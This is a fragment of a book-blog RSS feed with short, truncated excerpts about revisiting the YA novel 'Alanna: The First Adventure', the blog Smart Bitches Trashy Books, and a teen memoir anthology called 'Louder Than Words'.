Sreya sent me a very me-oriented link, however: Alanna: The First Adventure: For The Crossdressing Knight In Every Girl. Jezebel takes a look at YA lit they loved as kids, and evaluate them now.

Their fabulously hilarious blog, SmartBitchesTrashyBooks.com was the perfect platform for their snarkage, but it couldn&#8217;t really contain everything about the genre.

It may seem bizarre to ask teenagers to write memoirs—as Marni says, her siblings laughed—but Louder Than Words is dedicated to “reinforce[ing] the message that the experiences of teenagers and <a href='http://www.thewordofgit.com/readingbackwards/2010/01/louder-than-words-marni/'>[...]</a>]]></description>
